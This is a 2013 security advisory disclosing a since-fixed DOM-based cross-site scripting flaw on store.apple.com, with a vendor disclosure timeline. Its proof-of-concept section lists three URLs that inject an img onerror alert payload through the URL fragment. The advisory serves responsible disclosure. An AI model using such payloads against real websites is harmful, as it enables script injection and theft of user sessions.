Advisory:		store.apple.com - DOM based Cross-site Scripting vulnerability
Advisory ID:		SSCHADV2013-009
Author:			Stefan Schurtz
Affected Software:	Successfully tested on store.apple.com
Vendor URL:		http://www.apple.com
Vendor Status:		fixed

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Vulnerability Description
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The website 'store.apple.com' is prone to a DOM based XSS vulnerability.

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PoC-Exploit
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// IE8 & IE 10 & Google Chrome 27.0

http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa' onerror=alert(document.domain)> 
http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa' onerror=alert(document.domain)>

https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/> <img src='aaa' onerror=alert(document.domain)>
 
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Disclosure Timeline
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12-May-2013 - vendor informed by email
13-May-2013 - feedback from vendor
29-May-2013 - question about status
29-May-2013 - feedback from vendor
07-Jun-2013 - release date of this security advisory

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Credits
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Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.apple.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-009.txt